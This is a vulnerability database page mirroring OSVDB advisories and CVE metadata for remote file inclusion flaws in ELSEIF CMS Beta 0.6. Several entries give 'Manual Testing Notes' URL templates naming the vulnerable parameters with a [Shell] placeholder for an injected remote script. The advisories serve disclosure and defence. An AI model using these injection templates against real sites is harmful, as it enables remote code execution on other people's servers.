Search...

ELSEIF CMS contenus.php contenus Variable Remote File Inclusion

2007-10-06T00:00:00

ID OSVDB:38649
Type osvdb
Reporter OSVDB
Modified 2007-10-06T00:00:00

Description

Manual Testing Notes

http://[target]/elseif/contenus.php?contenus=[Shell]

References:

JSON Vulners Source

Initial Source

{"bulletinFamily": "software", "viewCount": 3, "reporter": "OSVDB", "references": [], "description": "## Manual Testing Notes\nhttp://[target]/elseif/contenus.php?contenus=[Shell]\n## References:\n[Related OSVDB ID: 38650](https://vulners.com/osvdb/OSVDB:38650)\n[Related OSVDB ID: 38651](https://vulners.com/osvdb/OSVDB:38651)\n[Related OSVDB ID: 38657](https://vulners.com/osvdb/OSVDB:38657)\n[Related OSVDB ID: 38658](https://vulners.com/osvdb/OSVDB:38658)\n[Related OSVDB ID: 38655](https://vulners.com/osvdb/OSVDB:38655)\n[Related OSVDB ID: 38656](https://vulners.com/osvdb/OSVDB:38656)\n[Related OSVDB ID: 38652](https://vulners.com/osvdb/OSVDB:38652)\n[Related OSVDB ID: 38654](https://vulners.com/osvdb/OSVDB:38654)\n[Related OSVDB ID: 38653](https://vulners.com/osvdb/OSVDB:38653)\n[CVE-2007-5305](https://vulners.com/cve/CVE-2007-5305)\nBugtraq ID: 25951\n", "affectedSoftware": [], "href": "https://vulners.com/osvdb/OSVDB:38649", "modified": "2007-10-06T00:00:00", "enchantments": {"score": {"value": 6.4, "vector": "NONE", "modified": "2017-04-28T13:20:34", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2007-5305"]}, {"type": "osvdb", "idList": ["OSVDB:38656", "OSVDB:38651", "OSVDB:38658", "OSVDB:38655", "OSVDB:38657", "OSVDB:38650", "OSVDB:38652", "OSVDB:38654", "OSVDB:38653"]}], "modified": "2017-04-28T13:20:34", "rev": 2}, "vulnersScore": 6.4}, "id": "OSVDB:38649", "title": "ELSEIF CMS contenus.php contenus Variable Remote File Inclusion", "edition": 1, "published": "2007-10-06T00:00:00", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "cvelist": ["CVE-2007-5305"], "lastseen": "2017-04-28T13:20:34"}

{"cve": [{"lastseen": "2021-02-02T05:31:27", "description": "Multiple PHP remote file inclusion vulnerabilities in ELSEIF CMS Beta 0.6 allow remote attackers to execute arbitrary PHP code via a URL in the (1) contenus parameter to (a) contenus.php; the (2) tpelseifportalrepertoire parameter to (b) votes.php, (c) espaceperso.php, (d) enregistrement.php, (e) commentaire.php, and (f) coeurusr.php in utilisateurs/, and (g) articles/fonctions.php and (h) depot/fonctions.php in moduleajouter/; the (3) corpsdesign parameter to (i) articles/usrarticles.php and (j) depot/usrdepot.php in moduleajouter/; and possibly other files.", "edition": 4, "cvss3": {}, "published": "2007-10-09T18:17:00", "title": "CVE-2007-5305", "type": "cve", "cwe": ["CWE-94"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-5305"], "modified": "2018-10-15T21:42:00", "cpe": ["cpe:/a:yannick_tanguy:else_if_cms:0.6-beta"], "id": "CVE-2007-5305", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-5305", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:yannick_tanguy:else_if_cms:0.6-beta:*:*:*:*:*:*:*"]}], "osvdb": [{"lastseen": "2017-04-28T13:20:34", "bulletinFamily": "software", "cvelist": ["CVE-2007-5305"], "description": "## Manual Testing Notes\nhttp://[target]/elseif/utilisateurs/enregistrement.php?tpelseifportalrepertoire=[Shell]\n## References:\n[Related OSVDB ID: 38650](https://vulners.com/osvdb/OSVDB:38650)\n[Related OSVDB ID: 38651](https://vulners.com/osvdb/OSVDB:38651)\n[Related OSVDB ID: 38657](https://vulners.com/osvdb/OSVDB:38657)\n[Related OSVDB ID: 38658](https://vulners.com/osvdb/OSVDB:38658)\n[Related OSVDB ID: 38655](https://vulners.com/osvdb/OSVDB:38655)\n[Related OSVDB ID: 38656](https://vulners.com/osvdb/OSVDB:38656)\n[Related OSVDB ID: 38649](https://vulners.com/osvdb/OSVDB:38649)\n[Related OSVDB ID: 38654](https://vulners.com/osvdb/OSVDB:38654)\n[Related OSVDB ID: 38653](https://vulners.com/osvdb/OSVDB:38653)\n[CVE-2007-5305](https://vulners.com/cve/CVE-2007-5305)\nBugtraq ID: 25951\n", "edition": 1, "modified": "2007-10-06T00:00:00", "published": "2007-10-06T00:00:00", "href": "https://vulners.com/osvdb/OSVDB:38652", "id": "OSVDB:38652", "title": "ELSEIF CMS enregistrement.php tpelseifportalrepertoire Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:34", "bulletinFamily": "software", "cvelist": ["CVE-2007-5305"], "description": "## Manual Testing Notes\nhttp://[target]/elseif/moduleajouter/articles/fonctions.php?tpelseifportalrepertoire=[Shell]\n## References:\n[Related OSVDB ID: 38650](https://vulners.com/osvdb/OSVDB:38650)\n[Related OSVDB ID: 38651](https://vulners.com/osvdb/OSVDB:38651)\n[Related OSVDB ID: 38657](https://vulners.com/osvdb/OSVDB:38657)\n[Related OSVDB ID: 38658](https://vulners.com/osvdb/OSVDB:38658)\n[Related OSVDB ID: 38656](https://vulners.com/osvdb/OSVDB:38656)\n[Related OSVDB ID: 38649](https://vulners.com/osvdb/OSVDB:38649)\n[Related OSVDB ID: 38652](https://vulners.com/osvdb/OSVDB:38652)\n[Related OSVDB ID: 38654](https://vulners.com/osvdb/OSVDB:38654)\n[Related OSVDB ID: 38653](https://vulners.com/osvdb/OSVDB:38653)\n[CVE-2007-5305](https://vulners.com/cve/CVE-2007-5305)\nBugtraq ID: 25951\n", "edition": 1, "modified": "2007-10-06T00:00:00", "published": "2007-10-06T00:00:00", "href": "https://vulners.com/osvdb/OSVDB:38655", "id": "OSVDB:38655", "title": "ELSEIF CMS articles/fonctions.php tpelseifportalrepertoire Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:34", "bulletinFamily": "software", "cvelist": ["CVE-2007-5305"], "description": "## Manual Testing Notes\nhttp://[target]/elseif/moduleajouter/depot/fonctions.php?tpelseifportalrepertoire=[Shell]\n## References:\n[Related OSVDB ID: 38650](https://vulners.com/osvdb/OSVDB:38650)\n[Related OSVDB ID: 38651](https://vulners.com/osvdb/OSVDB:38651)\n[Related OSVDB ID: 38657](https://vulners.com/osvdb/OSVDB:38657)\n[Related OSVDB ID: 38658](https://vulners.com/osvdb/OSVDB:38658)\n[Related OSVDB ID: 38655](https://vulners.com/osvdb/OSVDB:38655)\n[Related OSVDB ID: 38649](https://vulners.com/osvdb/OSVDB:38649)\n[Related OSVDB ID: 38652](https://vulners.com/osvdb/OSVDB:38652)\n[Related OSVDB ID: 38654](https://vulners.com/osvdb/OSVDB:38654)\n[Related OSVDB ID: 38653](https://vulners.com/osvdb/OSVDB:38653)\n[CVE-2007-5305](https://vulners.com/cve/CVE-2007-5305)\nBugtraq ID: 25951\n", "edition": 1, "modified": "2007-10-06T00:00:00", "published": "2007-10-06T00:00:00", "href": "https://vulners.com/osvdb/OSVDB:38656", "id": "OSVDB:38656", "title": "ELSEIF CMS depot/fonctions.php tpelseifportalrepertoire Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:34", "bulletinFamily": "software", "cvelist": ["CVE-2007-5305"], "description": "## Manual Testing Notes\nhttp://[target]/elseif/moduleajouter/depot/usrdepot.php?corpsdesign[Sh3ll]\n## References:\n[Related OSVDB ID: 38650](https://vulners.com/osvdb/OSVDB:38650)\n[Related OSVDB ID: 38651](https://vulners.com/osvdb/OSVDB:38651)\n[Related OSVDB ID: 38657](https://vulners.com/osvdb/OSVDB:38657)\n[Related OSVDB ID: 38655](https://vulners.com/osvdb/OSVDB:38655)\n[Related OSVDB ID: 38656](https://vulners.com/osvdb/OSVDB:38656)\n[Related OSVDB ID: 38649](https://vulners.com/osvdb/OSVDB:38649)\n[Related OSVDB ID: 38652](https://vulners.com/osvdb/OSVDB:38652)\n[Related OSVDB ID: 38654](https://vulners.com/osvdb/OSVDB:38654)\n[Related OSVDB ID: 38653](https://vulners.com/osvdb/OSVDB:38653)\n[CVE-2007-5305](https://vulners.com/cve/CVE-2007-5305)\nBugtraq ID: 25951\n", "edition": 1, "modified": "2007-10-06T00:00:00", "published": "2007-10-06T00:00:00", "href": "https://vulners.com/osvdb/OSVDB:38658", "id": "OSVDB:38658", "title": "ELSEIF CMS depot/usrdepot.php corpsdesign Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:34", "bulletinFamily": "software", "cvelist": ["CVE-2007-5305"], "description": "## Manual Testing Notes\nhttp://[target]/elseif/utilisateurs/coeurusr.php?tpelseifportalrepertoire=[Shell]\n## References:\n[Related OSVDB ID: 38650](https://vulners.com/osvdb/OSVDB:38650)\n[Related OSVDB ID: 38651](https://vulners.com/osvdb/OSVDB:38651)\n[Related OSVDB ID: 38657](https://vulners.com/osvdb/OSVDB:38657)\n[Related OSVDB ID: 38658](https://vulners.com/osvdb/OSVDB:38658)\n[Related OSVDB ID: 38655](https://vulners.com/osvdb/OSVDB:38655)\n[Related OSVDB ID: 38656](https://vulners.com/osvdb/OSVDB:38656)\n[Related OSVDB ID: 38649](https://vulners.com/osvdb/OSVDB:38649)\n[Related OSVDB ID: 38652](https://vulners.com/osvdb/OSVDB:38652)\n[Related OSVDB ID: 38653](https://vulners.com/osvdb/OSVDB:38653)\n[CVE-2007-5305](https://vulners.com/cve/CVE-2007-5305)\nBugtraq ID: 25951\n", "edition": 1, "modified": "2007-10-06T00:00:00", "published": "2007-10-06T00:00:00", "href": "https://vulners.com/osvdb/OSVDB:38654", "id": "OSVDB:38654", "title": "ELSEIF CMS coeurusr.php tpelseifportalrepertoire Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:34", "bulletinFamily": "software", "cvelist": ["CVE-2007-5305"], "description": "## Manual Testing Notes\nhttp://[target]/elseif/utilisateurs/votes.php?tpelseifportalrepertoire=[Shell]\n## References:\n[Related OSVDB ID: 38651](https://vulners.com/osvdb/OSVDB:38651)\n[Related OSVDB ID: 38657](https://vulners.com/osvdb/OSVDB:38657)\n[Related OSVDB ID: 38658](https://vulners.com/osvdb/OSVDB:38658)\n[Related OSVDB ID: 38655](https://vulners.com/osvdb/OSVDB:38655)\n[Related OSVDB ID: 38656](https://vulners.com/osvdb/OSVDB:38656)\n[Related OSVDB ID: 38649](https://vulners.com/osvdb/OSVDB:38649)\n[Related OSVDB ID: 38652](https://vulners.com/osvdb/OSVDB:38652)\n[Related OSVDB ID: 38654](https://vulners.com/osvdb/OSVDB:38654)\n[Related OSVDB ID: 38653](https://vulners.com/osvdb/OSVDB:38653)\n[CVE-2007-5305](https://vulners.com/cve/CVE-2007-5305)\nBugtraq ID: 25951\n", "edition": 1, "modified": "2007-10-06T00:00:00", "published": "2007-10-06T00:00:00", "href": "https://vulners.com/osvdb/OSVDB:38650", "id": "OSVDB:38650", "title": "ELSEIF CMS votes.php tpelseifportalrepertoire Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:34", "bulletinFamily": "software", "cvelist": ["CVE-2007-5305"], "description": "## Manual Testing Notes\nhttp://[target]/elseif/utilisateurs/commentaire.php?tpelseifportalrepertoire=[Shell]\n## References:\n[Related OSVDB ID: 38650](https://vulners.com/osvdb/OSVDB:38650)\n[Related OSVDB ID: 38651](https://vulners.com/osvdb/OSVDB:38651)\n[Related OSVDB ID: 38657](https://vulners.com/osvdb/OSVDB:38657)\n[Related OSVDB ID: 38658](https://vulners.com/osvdb/OSVDB:38658)\n[Related OSVDB ID: 38655](https://vulners.com/osvdb/OSVDB:38655)\n[Related OSVDB ID: 38656](https://vulners.com/osvdb/OSVDB:38656)\n[Related OSVDB ID: 38649](https://vulners.com/osvdb/OSVDB:38649)\n[Related OSVDB ID: 38652](https://vulners.com/osvdb/OSVDB:38652)\n[Related OSVDB ID: 38654](https://vulners.com/osvdb/OSVDB:38654)\n[CVE-2007-5305](https://vulners.com/cve/CVE-2007-5305)\nBugtraq ID: 25951\n", "edition": 1, "modified": "2007-10-06T00:00:00", "published": "2007-10-06T00:00:00", "href": "https://vulners.com/osvdb/OSVDB:38653", "id": "OSVDB:38653", "title": "ELSEIF CMS commentaire.php tpelseifportalrepertoire Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:34", "bulletinFamily": "software", "cvelist": ["CVE-2007-5305"], "description": "## Manual Testing Notes\nhttp://[target]/elseif/utilisateurs/espaceperso.php?tpelseifportalrepertoire=[Shell]\n## References:\n[Related OSVDB ID: 38650](https://vulners.com/osvdb/OSVDB:38650)\n[Related OSVDB ID: 38657](https://vulners.com/osvdb/OSVDB:38657)\n[Related OSVDB ID: 38658](https://vulners.com/osvdb/OSVDB:38658)\n[Related OSVDB ID: 38655](https://vulners.com/osvdb/OSVDB:38655)\n[Related OSVDB ID: 38656](https://vulners.com/osvdb/OSVDB:38656)\n[Related OSVDB ID: 38649](https://vulners.com/osvdb/OSVDB:38649)\n[Related OSVDB ID: 38652](https://vulners.com/osvdb/OSVDB:38652)\n[Related OSVDB ID: 38654](https://vulners.com/osvdb/OSVDB:38654)\n[Related OSVDB ID: 38653](https://vulners.com/osvdb/OSVDB:38653)\n[CVE-2007-5305](https://vulners.com/cve/CVE-2007-5305)\nBugtraq ID: 25951\n", "edition": 1, "modified": "2007-10-06T00:00:00", "published": "2007-10-06T00:00:00", "href": "https://vulners.com/osvdb/OSVDB:38651", "id": "OSVDB:38651", "title": "ELSEIF CMS espaceperso.php tpelseifportalrepertoire Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:34", "bulletinFamily": "software", "cvelist": ["CVE-2007-5305"], "description": "## Manual Testing Notes\nhttp://[target]/elseif/moduleajouter/articles/usrarticles.php?corpsdesign=[Sh3ll]\n## References:\n[Related OSVDB ID: 38650](https://vulners.com/osvdb/OSVDB:38650)\n[Related OSVDB ID: 38651](https://vulners.com/osvdb/OSVDB:38651)\n[Related OSVDB ID: 38658](https://vulners.com/osvdb/OSVDB:38658)\n[Related OSVDB ID: 38655](https://vulners.com/osvdb/OSVDB:38655)\n[Related OSVDB ID: 38656](https://vulners.com/osvdb/OSVDB:38656)\n[Related OSVDB ID: 38649](https://vulners.com/osvdb/OSVDB:38649)\n[Related OSVDB ID: 38652](https://vulners.com/osvdb/OSVDB:38652)\n[Related OSVDB ID: 38654](https://vulners.com/osvdb/OSVDB:38654)\n[Related OSVDB ID: 38653](https://vulners.com/osvdb/OSVDB:38653)\n[CVE-2007-5305](https://vulners.com/cve/CVE-2007-5305)\nBugtraq ID: 25951\n", "edition": 1, "modified": "2007-10-06T00:00:00", "published": "2007-10-06T00:00:00", "href": "https://vulners.com/osvdb/OSVDB:38657", "id": "OSVDB:38657", "title": "ELSEIF CMS articles/usrarticles.php corpsdesign Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}]}